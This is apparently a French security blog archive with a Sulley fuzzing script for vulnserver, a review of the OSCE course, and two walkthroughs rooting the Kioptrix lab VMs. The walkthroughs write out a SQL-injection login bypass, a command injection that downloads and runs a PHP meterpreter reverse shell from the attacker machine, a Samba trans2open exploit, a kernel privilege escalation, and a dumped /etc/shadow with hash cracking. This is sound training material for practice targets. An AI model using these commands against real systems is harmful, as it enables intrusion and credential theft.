Affichage des articles dont le libellé est exploitation. Afficher tous les articles
Affichage des articles dont le libellé est exploitation. Afficher tous les articles

jeudi 5 mai 2016

Fuzzing Vulnserver avec Sulley

Je disais dans un post précédent que je m'étais un peu exercé sur vulnserver.exe durant les semaines ayant précédé mon exam OSCE. Dans un premier temps j'ai bêtement reproduit le schéma du cours, avec SPIKE, sauf que ce n'est pas génial et que j'ai été assez vite confronté à un certain nombre de limitations de l'outil :
- l'affichage de SPIKE n'est pas super compréhensible ;
- il est difficile de faire le lien entre un crash et un paquet précis, ni même une taille de données ;
- l'outil ne vérifie pas si le programme a crashé ou non ;
- et il ne se charge pas de le relancer non plus

Bref, SPIKE c'est le moyen-âge. Ces problèmes là sont fort heureusement assez bien comblés par "Sulley" :
- qui bénéficie d'une interface "web" assez compréhensible, bien que sobre et simple ;
- conserve les paquets envoyés à chaque itération des tests dans des .pcap ;
- qui vérifie que le programme a crashé ou non et indique le numéro du test (et donc du .pcap) correspondant, avec des informations de debug ;
- qui relance le programme testé s'il a planté
- et qui, en plus, a une bonne tête ! :)



Alors je vais pas faire une explication détaillée de l'architecture de Sulley. En version TL;DR, on déploie des agents sur une machine exécutant le binaire à cibler, qui seront en charge de diverses opérations de monitoring :
- un agent réseau, prenant en paramètre un filtre (type BPF) correspondant au flux réseau à sauvegarder (genre tout le traffic reçu sur le port FTP, si on fuzz du FTP), qui attendra un "go" pour commencer à sniffer, et qui s'arrêtera quand on le lui dira
- un agent de processus, en charge du monitoring du processus que l'on fuzze, et qui surveillera l'activité de ce dernier à l'aide d'un process monitor, lui indiquant si le processus a démarré, s'il a crashé, si oui avec quelles infos (eip, seh, ...), et qui sera en charge de le redémarrer (via wmic) s'il a planté

Et de l'autre côté, on a un script qui instrumente le tout, dans lequel on définit la syntaxe du protocole mangé par le programme que l'on souhaite fuzzer, ainsi que différents paramètres liés à la cible (ip, port des monitors, port du service, délai entre deux paquets, etc).

L'installation de Sulley se passe sans encombres, la documentation sur le wiki du projet est excellente et se passe sans accrocs (testé sur un WinXP SP3). Je ne vais pas la détailler davantage.

On va donc passer à la mise en place du monitoring sur le WindowsXP, pour lequel on peut ouvrir deux interpréteurs de ligne de commande (cmd.exe), se positionner dans le dossier de Sulley (c:\sulley\sulley dans mon cas) et lancer les deux monitors :
- Pour le monitor réseau : python network_monitor.py -d 0 -f "src or dst port 9999" -P audits\vulnserver. En gros, on écoute sur la première interface (-d 0) tous les paquets en provenance ou à destination du port 9999 (port par défaut de vulnserver), et on sauvegardera tout ça dans le dossier audits\vulnserver relatif au dossier courant
- Pour le monitor de processus : python process_monitor.py -c audits\vulnserver.crashbin -p vulnserver.exe. En gros on sauvegarde le résumé de nos tests dans le fichier vulnserver.crashbin et on monitore l'état du processus "vulnserver.exe"

On doit se retrouver avec un affichage proche du screenshot suivant :

Le monitoring étant en place, on a plus qu'à créer notre script en charge de l'instrumentation de l'ensemble et de génération des mutations. Dans mon cas, il ressemble à ça :

#!/usr/bin/python
from sulley   import *

s_initialize("VULNSERVER VERBS")
s_group("verbs", values=[ "GMON", "LTER", "HTER", "GTER", "KSTET", "TRUN", "SRUN", "RTIME", "LTIME" ])
if s_block_start("body", group="verbs"):
    s_delim(" ")
    s_string("1")
    s_static("\r\n")
s_block_end()

sess = sessions.session(session_filename="audits/vulnserver.session", sleep_time=0.3, log_level=10)
target                 = sessions.target("192.168.242.66", 9999)
target.netmon          = pedrpc.client("192.168.242.66", 26001)
target.procmon         = pedrpc.client("192.168.242.66", 26002)
target.procmon_options = {
 "proc_name"      : "vulnserver.exe",
 "stop_commands"  : ['wmic process where (name="vulnserver.exe") delete'],
 "start_commands"  : ['c:\\fuzz\\sulley\\vulnserver.exe 9999'],
}
sess.add_target(target)
sess.connect(s_get("VULNSERVER VERBS"))
sess.fuzz()

La première partie du script est globalement la partie qui changera d'une séance de fuzzing à une autre, car elle correspond au protocole que vous souhaitez fuzzer. Il en existe une multitude pour tout un tas de protocoles (certains étant fournis de base avec Sulley, d'autres sur des repositories type github). On définit un groupe de commandes sur lesquelles itérer (gmon, lter, etc) ainsi que leur syntaxe (ici, un séparateur de type espace, suivi d'une chaine pouvant être fuzzée, et d'un saut de ligne).

La seconde partie est améliorable, mais restera globalement toujours la même. On définit où on veut garder l'état de notre séance de fuzzing, ainsi que l'ip/port du service à fuzzer, ainsi que les ip/ports de nos moniteurs (sur lesquels notre script va envoyer les "go" et "stop"), ainsi que les commandes permettant de relancer le service en cas de crash.

Une fois l'ensemble terminé, on a plus qu'à lancer notre script python (python machin.py). Après quelques instants on devrait avoir déjà un affichage sur nos différentes consoles :



Et surtout, ce qui est pratique, c'est l'interface web de monitoring, par défaut sur le port 26000 :


Il n'y a plus qu'à attendre un petit peu et on se retrouvera avec une jolie collection de crashs, qu'on aura plus qu'à analyser (en cliquant sur le "test case #" correspondant), voire rejouer, en récupérant le fichier .pcap dont le nom correspond au numéro du crash qui nous intéresse.

Il existe déjà pas mal de littérature existante sur l'exploitation des différentes vulnérabilités présentes dans vulnserver.exe, généralement bien indexée par Google. Je ferai peut-être un post ou deux sur des cas intéressants rencontrés dans ce binaire...Certains des exploits sont disponibles sur mon repository GitHub. En attendant, allons fuzzer la planète !

samedi 9 avril 2016

Review: Cracking The Perimeter (CTP/OSCE)

Update: Ajout de quelques liens et références, ainsi que des vidéos Shmoocon/Defcon. Reformulation de certaines phrases. Ajout de références sur la partie réseau/cisco.

L'an dernier je vous faisais une review, en français, de ce que l'on appelle vulgairement "OSCP" (le training "Pentesting With Kali", avec la certification OSCP), cette année ça sera "OSCE". Je n'ai pas vu des masses de review en français, si ce n'est aucune.

J'ai fini par passer l'exam, à la toute dernière date possible, et si vous lisez ces lignes, c'est que je l'ai réussi.


Allez, c'est parti !

Pourquoi CTP ?

CTP, ou "Cracking The Perimeter", est le nom de la formation (OSCE est donc le nom de la certification associée).

Sur le principe on peut se demander pourquoi avoir besoin d'un training supplémentaire pour faire du test d'intrusion, une fois qu'on est certifié "OSCP". Offensive-Security apporte son élément de réponse sur la page du training "CTP" en disant, en substance, que de nos jours la barre est assez élevée pour entrer dans un réseau, et que les exploits publics/mots de passe par défaut ne suffisent plus, que l'attaquant a besoin de compétences plus poussées, et que ce training apporte ces compétences.
The bar required to “crack” the organizational perimeter is constantly being raised. Public exploits and weak passwords rarely do the job, which requires the attacker to have an expanded set of advanced hacking techniques in order to successfully complete a real-world pentest.

Le "challenge"

Chose assez inhabituelle pour pouvoir s'inscrire à ce cours, il faut faire un petit challenge en quelques étapes, fournissant des identifiants uniques à communiquer lors de l'inscription. Le but est de s'assurer que le candidat dispose d'un niveau de connaissances minimum avant de s'engager là dedans, histoire qu'il ne perde pas du temps (et surtout de l'argent). En revanche, réussir ce challenge ne garantit pas la suite :)
Il est fortement déconseillé de "tricher" en allant chercher des soluces en ligne avant de faire l'inscription (mais cela va de soi), ça ne fait que retarder la déception en se mentant à soi même. Sauf peut-être pour le "Meilleur Pentester de France 2010".
Je laisserai les curieux se rendre sur le site et résoudre le challenge afin qu'ils se fassent une idée sur les pré-requis (mais ce n'est en rien comparable au challenge du SSTIC :p)

Maintenant, une question qui revient assez souvent c'est "est-ce qu'il faut avoir fait PWK/OSCP avant ?", la réponse est non. Et quant à savoir quel est le niveau minimum à avoir, c'est difficile à dire, mais avoir déjà un peu joué avec des stack overflows est un bon début.

Le programme

Alors on ouvre le syllabus du cours pour voir en gros en quoi il consiste, En revanche, je ne peux pas trop m'étendre sur les détails du contenu :

"Web Application Angle"

Exploitation de quelques vulnérabilités "web" pour aboutir à un shell distant (XSS et LFI).
On va dire que c'est une entrée en la matière de type "pentest" pour faire la liaison avec le cours précédent. Le niveau peut sembler "bas", mais il consiste aussi à analyser du code pour y identifier une vulnérabilité.

"Backdoor Angle"

Cette section sert d'initiation à OllyDBG principalement. On ajoute du code malveillant à un binaire tout ce qu'il y a de plus normal, à la main. On prend aussi un exécutable flaggué comme malveillant par un antivirus, et on le rend indétecté (en tout cas par cet antivirus).

"Advanced Exploit Developpement"

Déjà, on va revoir où nous laissait PWK/OSCP. On exploitait un stack overflow dans un binaire ne présentant pas de protections particulières, sous Windows (et aussi sous Linux) pour sauter sur un shellcode placé sur la stack.
Ici on aborde des cas un tout petit peu plus réalistes, comme la vulnérabilité MS07-017 sous Windows Vista et son ASLR foireux. Le bypass de l'ASLR est trivial, en revanche, on découvre que parfois on saute sur du contenu sous notre contrôle, mais qu'il doit respecter certaines contraintes pour être traité. En l'occurence, on saute au début du header ANI (une chaine "RIFF"), mais on ne peut pas le remplacer par autre chose. On découvre ce qu'on peut faire pour ça.
On voit ensuite un cas où on se retrouve avec peu d'espace accessible directement, mais où on est en mesure de placer et exécuter un shellcode de premier niveau (egghunter) qui ira à la recherche d'un shellcode plus gros situé ailleurs en mémoire.

"0day Angle"

Rassurez-vous, pas de véritables 0days dans le cours, en revanche, on aborde la recherche de vulnérabilités à l'aide de fuzzers (ici, SPIKE), dans le but d'obtenir des 0dayscrashs.
On fait du fuzzing sur un serveur TFTP sous Windows, on en profite pour découvrir l'exploitation lorsque c'est le pointeur SEH qu'on écrase.
On termine la partie exploitation sur des conditions d'exploitation un peu complexes lorsque nos seuls caractères autorisés sont alphanumériques, ce qui complexifie pas mal les choses pour notre shellcode.

"Network Angle"

Ce module est instructif, mais je ne pense pas qu'il me serve réellement dans ma vie de pentester au quotidien. En mode TL;DR, on exploite le fait que le routeur (Cisco) cible ait une ACL pour l'utilisation de la communauté SNMP "private" depuis certaines IP internes uniquement, autorisant la récupération de fichiers de configuration via TFTP. On envoie donc des requêtes SNMP "private" spoofées à l'aide de Scapy pour dire au routeur de venir récupérer notre configuration custom ajoutant un tunnel GRE dont il serait une extrémité, et dont nous serions l'autre extrémité, comme ça nous sommes en mesure de sniffer le traffic passant par ce routeur. Bon en 2016 on connait le filtrage ingress, mais on sait jamais (non, je ne parle pas du jeu en réalité augmentée).
De manière générale, bien que la mise en oeuvre elle-même de l'attaque est hautement improbable de nos jours, la partie "post-exploitation" (à savoir configurer un tunnel GRE) est intéressante et peut donner des éléments de réponse à la question "que faire une fois root sur un routeur (cisco) ?". A noter qu'un vieil article de Phrack répond aussi à cette question, avec le même genre de réponses :-)
Une variante de cette attaque est expliquée dans l'article "Cisco SNMP configuration attack with a GRE tunnel". On retrouve également des explications au chapitre 9 de "Gray Hat Hacking" 4e édition ("Exploiting Cisco Routers").

Le cours

Il s'agit d'un PDF et de quelques heures de vidéo.

Le lab

Ce qui rendait PWK assez unique et en faisait une excellente expérience, c'était son "lab" d'une cinquantaine de machines à compromettre de manières plus ou moins différentes. Dans CTP...eh bien il n'y en a pas vraiment. On se retrouve avec 3 hôtes, dont un qui peut se retrouver dans une configuration IP différente (via le panel d'admin) pour le module réseau de la fin :
- un routeur de type Cisco (probablement émulé via GNS3) pour la partie réseau
- un hôte Windows Vista (pour les parties "backdoor angle" et "advanced exploit development", ainsi que "network angle")
- un hôte Windows 2003 Server (pour les parties web, et fuzzing)
On dispose au maximum de 60 jours (à 1500 USD, soit environ 1400 euros au taux de change actuel) pour profiter au maximum de ce temps de "lab".
Evidemment, offsec ne propose pas des formations où il faut passer 60 jours non-stop dessus. Il s'agit de 60 jours à raison de quelques heures par-ci par-là, comme pour OSCP, en considérant que les gens ont un emploi - parfois chronophage - à côté. Donc en 60 jours il est théoriquement largement possible de passer sur tous les modules (les reproduire dans son "lab" et les documenter allègrement). En réalité, en 30 jours, en s'y collant tous les jours, c'est faisable.

La théorie, et la pratique

Là où dans PWK les instructions pouvaient être suivies pas à pas, et reproduites à peu près exactement, pour arriver à peu près au même résultat que dans le cours, ici ce n'est pas la philosophie. En fait, on considère qu'on est assez grand pour comprendre et s'adapter. Donc les manipulations peuvent parfois ne pas être reproduites telles quelles; par exemple certaines lignes de commandes tapées dans la console sont fausses, certains outils utilisés génèrent des résultats très différents de ceux attendus car ils ont évolué depuis, et pour finir, parfois il y a très peu d'explications. Dans un sens c'est normal, la sécurité informatique est un domaine en perpétuelle évolution (au même titre que l'informatique), on doit démontrer notre capacité à apprendre, et nous adapter.

La documentation

Comme beaucoup de choses dans le domaine de la sécurité informatique, on peut se former tout seul, en autodidacte. L'intégralité des notions abordées par ce cours n'échappent pas à cette règle. Une ressource majeure sont les articles d'exploitation de corelan (en tout cas, les exploit writing tutorials jusqu'au 9e inclus).
Certains bouquins sont également très intéressants :
- The Shellcoder's Handbook
- Hacking: The Art of Exploitation (un seul chapitre en particulier)

Il est également possible de s'entrainer un peu. Le programme vulnserver.exe trouvable assez facilement fera une très bonne cible d'entrainement.

L'ancêtre du cours était à l'origine une présentation faite par muts à Shmoocon, "Backtrack to the Max", dont il existe une vidéo en ligne, présentant le bypass d'antivirus et l'exploitation de ms07-017. Un des modules (shellcoding en conditions extrèmes) a également fait l'objet d'une présentation à Defcon 16 :

De manière générale, chaque domaine abordé dans le cours apporte quelques éléments. Le fait que la vidéo et/ou le support pdf soient parfois volontairement erronés va pousser à aller se documenter sur Internet, pour parfois tomber sur des informations qui sont à l'état de l'art, contrairement au cours lui même, qui date un peu. Forcément, on ne leurre plus un antivirus avec un bête xor en 2016, et le fuzzing avec SPIKE, on a fait mieux depuis :-)


L'exam

A l'instar de l'exam OSCP, à l'heure à laquelle notre exam est programmé on reçoit un kit de connexion à un VPN nous donnant accès à un certain nombre de machines et un panel, et on dispose de 48 heures pour faire ce qui nous est demandé. Evidemment, vous vous doutez que ça tourne autour de la compromission de machines. Par contre, ici il faut oublier exploit-db ou metasploit :-) (qui seront totalement inutiles)
Il faudra mettre en application la quasi totalité des compétences abordées dans le contenu du cours, voire même peut-être un peu plus. C'est sur cet aspect là que se différencient les "geeks" qui iront creuser plus loin que le contenu du cours, et les autres :) parce qu'après tout, c'est cela la sécurité informatique, quelque chose que l'on apprend majoritairement par soi-même. On peut être guidé/accompagné sur certains aspects, mais c'est à nous de continuer seul. On ne peut pas se permettre de rester sur nos acquis.
Evidemment, c'est pas parce qu'on dispose de 48 heures que ça prendra forcément 48 heures. Ca peut prendre moins.
On dispose ensuite de 24 heures supplémentaires pour soumettre un rapport. Là encore, faire le rapport prend une poignée d'heures. C'est juste qu'on dispose de 24 heures maximum pour le rendre.

Je ne vais pas rédiger ici un compte rendu heure par heure de mon organisation pendant l'exam, chacun ayant un mode de fonctionnement différent.

Et la suite ?

Il n'y a pas vraiment de suite à proprement parler. Je pourrais continuer de jouer avec l'exploitation logicielle (et système) et envisager de poursuivre par le cours Advanced Windows Exploitation (aboutissant à la certification OSEE), mais il reste à voir si c'est là encore bien pertinent avec une activité de pentester qui doit plier un pentest en 5 jours rapport compris. Il y a également le cours "Advanced Web Attacks and Exploitation" aboutissant à la certification OSWE, qui parait déjà plus crédible pour un pentester de nos jours.

Conclusion

Je n'irais pas jusqu'à dire que ce training est complémentaire à PWK/OSCP. Certaines notions abordées ayant déjà été abordées, parfois même mieux, par PWK :
- la partie web xss/lfi : on voyait déjà le vol de cookies et la redirection vers un exploit browser pour les xss, et l'injection de code dans les logs pour la partie LFI;
- la partie backdooring/evasion d'antivirus est intéressante pour savoir comment faire ce genre de choses à la main, mais on obtenait limite de meilleurs résultats avec Hyperion dans le cours PWK ;
Ca nous donne 4 modules sur 9 qui mériteraient d'être profondément remaniés. En revanche, rien à dire sur les 5 autres, même si la partie exploitation tourne exclusivement autour de stack overflows.
Maintenant, est-ce qu'en tant que pentester, cette formation est réellement utile ? Je suis assez mitigé. En 2017 j'ai le sentiment qu'un pentester ne dispose plus que d'une poignée de jours - se comptant sur les doits d'une main - pour mener à bien un pentest, dans des conditions ne reflétant absolument pas l'état des menaces. De plus, le temps pouvant s'écouler entre le début de la recherche d'une nouvelle vulnérabilité, et la mise au point d'un code d'exploitation à peu près stable peut prendre des mois (je n'ai plus la source, mais j'ai cru lire 6 mois pour la plupart des gros logiciels bien répandus). Donc clairement, pour étoffer son set de compétences en pentest, clairement, c'est pas la peine. Par contre, pour faire de l'évaluation de sécurité de produit en labo, pourquoi pas.

jeudi 12 juin 2014

Walkthrough Kioptrix 2

Après avoir rushé la première VM Kioptrix, je me suis mis à la seconde. Mon approche n'est pas spécialement inédite, mais j'essaie d'expliquer mon raisonnement à chaque fois.

Comme la précédente, dans mon vmware je l'ai configurée pour être sur vmnet8. Je scanne donc la plage d'adresses IP accessibles sur mon interface vmnet8 et très vite je tombe sur :

Nmap scan report for 192.168.115.131
Host is up (0.0017s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)


Un coup d'oeil rapide me dit que je n'aurai pas grand chose d'exploitable directement, en gardant de côté les vulns Apache, mais je me rappelle pas de vulnérabilités permettant l'exec de code arbitraire ces dernières années. Je vérifierai. Le reste, bien qu'un peu ancien ne me semble pas non plus exploitable directement.

Je regarde donc ce qui tourne sur le serveur http, j'obtiens une page de login. Je teste les grands classiques admin/admin & co puis j'arrive aux traditionnels auth bypass sql injection, bingo avec "admin" / ' or '1' = '1 (une liste sympathique à cet effet est disponible ici) et j'arrive sur une console d'admin un peu rustique me demandant une ip à pinger. 


Là encore, habitué des interfaces web foireuses, par réflexe je mets un 127.0.0.1;id et j'obtiens ce que j'attends :

127.0.0.1;id
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.105 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.036/0.062/0.105/0.031 ms, pipe 2
uid=48(apache) gid=48(apache) groups=48(apache)


Pour gagner du temps je me génère un meterpreter en php avec msfpayload :
$ ./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.115.1 R > /tmp/shell.php
Je vire le petit '#' au début pour ne pas me faire niquer, et je prépare un handler sur ma machine pour réceptionner la connexion le moment venu :

$ ./msfcli exploit/multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.115.1 E
[*] Initializing modules...
[*] Processing XXX/msfconsole.rc for ERB directives.
resource (XXX)> db_connect -y XXX/config/database.yml.meik
[*] Rebuilding the module cache in the background...
resource (XXX/msfconsole.rc)> workspace -a MeiK
[*] Added workspace: XXX
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.115.1
[*] Started reverse handler on 192.168.115.1:4444
[*] Starting the payload handler...


On va donc récupérer le webshell depuis l'interface web du site foireux et l'exécuter :

Je lance un netcat pour servir le fichier :
nc -l -p 8080 < /tmp/shell.php

Et sur l'interface web je saisis cette commande :
127.0.0.1;wget 192.168.115.1:8080 -O /tmp/shell.php; php -f /tmp/shell.php

Qui file un paramètre au ping (en vrai on s'en fout), et exécute un wget pour récupérer le shell afin de le sauvegarder dans /tmp/shell.php et exécute ce fichier à l'aide de l'interpréteur php disponible sur la machine.

Pendant ce temps, sur un autre terminal :

[*] Sending stage (39848 bytes) to 192.168.115.131
[*] Meterpreter session 1 opened (192.168.115.1:4444 -> 192.168.115.131:32779) at 2014-06-11 23:58:50 +0200

meterpreter >


Comme vu au dessus, on a pas de super privilèges :
meterpreter > getuid
Server username: apache (48)


On va donc tenter de passer root. Pour ça, on regarde la version du kernel, soit à l'ancienne avec uname -sr, soit on se rappelle qu'on est en 2014 et que meterpreter intègre "sysinfo" :

meterpreter > sysinfo
Computer    : kioptrix.level2
OS          : Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686
Meterpreter : php/php


On utilise donc le script "Linux Exploit Suggester" en lui disant qu'on veut un exploit kernel 2.6.9 :

$ perl Linux_Exploit_Suggester.pl -k 2.6.9

Kernel local: 2.6.9

Searching among 65 exploits...

Possible Exploits:
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] exp.sh
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
   Alt: econet    CVE-2010-3850
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
   Alt: econet    CVE-2010-4073
   Source: http://www.exploit-db.com/exploits/17787/
[+] krad
[+] krad3
   Source: http://exploit-db.com/exploits/1397
[+] pktcdvd
   CVE-2010-3437
   Source: http://www.exploit-db.com/exploits/15150/
[+] py2
[+] sock_sendpage
   Alt: wunderbar_emporium    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9435
[+] sock_sendpage2
   Alt: proto_ops    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9436
[+] udp_sendmsg_32bit
   CVE-2009-2698
   Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[+] video4linux
   CVE-2010-3081
   Source: http://www.exploit-db.com/exploits/15024/


Certains d'entre eux ont un peu trop d'exigences, on veut du rapide. On récupère donc le sploit correspondant à la CVE-2009-2698, on le compile et on l'exécute :

cd /tmp
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c

--23:20:49--  http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
           => `36108.c'
Resolving downloads.securityfocus.com... 143.127.139.111
Connecting to downloads.securityfocus.com|143.127.139.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]

    0K ..                                                    100%  394.37 KB/s

23:20:50 (394.37 KB/s) - `36108.c' saved [2507/2507]

gcc 36108.c -o sploit
./sploit

sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# 

Walkthrough Kioptrix 1

Pour faire passer le temps, il m'arrive par moments de lancer une VM volontairement trouée à compromettre. A ce sujet, il en existe une très bonne liste sur le Poster Ultime du Pentest du SANS. Pour me changer les idées, j'ai lancé la première VM "Kioptrix" ce soir (que je connaissais de nom, mais j'étais persuadé jusqu'à ce soir qu'il s'agissait d'une n-ième distribution Linux orientée pentest comme BackTrack/Kali, Pentoo ou BlackArch).

Alors je la lance une première fois dans mon VMware, et je voyage d'au moins 10 ans dans le passé. Je n'avais plus vu d'écran de boot Linux tel que celui-ci depuis ... ben 10 ans. Je tombe sur le message de bienvenue (/etc/issue pour ceux qui n'ont jamais eu l'occasion de toucher à ce fichier) me disant en substance que le but est de passer root. Challenge Accepted. D'autant plus que sur un système ayant l'air d'avoir au moins 10 ans, ça ne sera franchement pas difficile.

Je relance donc la VM histoire de faire ça proprement et le documenter. Surtout, je fixe l'interface réseau sur laquelle le système va apparaître. Je choisis "vmnet8".

Je ne connais pas son adresse IP, mais vu que j'ai set la kioptrix sur l'interface vmnet8, j'ai fat un "ifconfig vmnet8", regardé mon ip et le masque réseau correspondant puis j'ai scanné la rangée d'adresses IP correspondant avec nmap en mode service scan (-sV) pour avoir les bannières.

J'obtiens les services suivants :
192.168.115.130  111   tcp    rpcbind      open   2 RPC #100000

192.168.115.130  80    tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  22    tcp    ssh          open   OpenSSH 2.9p2 protocol 1.99
192.168.115.130  139   tcp    netbios-ssn  open   Samba smbd workgroup: MYGROUP
192.168.115.130  443   tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  1024  tcp    status       open   1 RPC #100024

A partir de là, j'envisage les scénarios suivants :
- vulnérabilités affectant Apache
- vulnérabilités affectant Samba
- vulnérabilités affectant les services RPC (par contre eux je les connais assez mal)
- vulnérabilités affectant d'éventuelles applications web

Je regarde quand même ce qui tourne sur les ports 80/443 en lançant un nikto, qui ne me relève rien d'intéressant. Je peux aussi lancer un DirBuster, mais la perspective de lancer un outil en Java qui va flinguer ma batterie de laptop ne me réjouit pas (je vais ajouter "recoder DirBuster" sur ma TODO list, à côté de "voir si skipfish fait l'affaire pour remplacer DirBuster").

Je regarde donc la liste des exploits disponibles dans metasploit (ouais, c'est de la triche mais on est en 2014) visant Apache, mais il y en a un peu trop, et à peu près aucun ne me semble réellement pertinent (surtout du win32 on va dire). Je me dis que je regarderai plus tard, mais la version d'Apache me rappelle un exploit qui date un peu (openssl-too-open) qui avait fait de gros ravages il y a quelques années (2003 de mémoire - à l'époque il était fréquent de crawler Netcraft pour trouver des serveurs vulnérables à ce truc, shodan n'existait pas encore), mais c'est le mod_ssl qui était surtout concerné. Je regarderai plus tard si rien d'autre ne fonctionne.

Je regarde donc les vulnérabilités Samba via un "search samba" dans metasploit. Il y en a un qui sort du lot :
exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow (Linux x86)

Je l'essaie avec un shellcode de type bind_tcp :

msf exploit(trans2open) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf exploit(trans2open) > exploit

[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.115.130
[*] Command shell session 2 opened (192.168.115.1:53449 -> 192.168.115.130:4444) at 2014-06-02 23:00:14 +0200

ls
id

uid=0(root) gid=0(root) groups=99(nobody)

Hop gagné, root. Je récupère le fichier shadow pour le cracker :

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::


Je passe le root à oclHashcat avec la wordlist "rockyou" mais sans succès. Je lance donc un bruteforce (-m 500 pour le format de mots de passe (FreeBSD-MD5), et -a 3 pour le mode bruteforce). A l'heure où je rédige ces lignes, le cassage est encore en cours, mais je l'arrêterai à 8 caractères (oclHashcat m'indique 10 heures restantes pour les mots de passe de 7 caractères). EDIT: je l'ai laissé tourner 1 semaine, sans résultats. Il m'annonçait 2 semaines pour couvrir les mots de passe de 8 caractères avec le charset standard.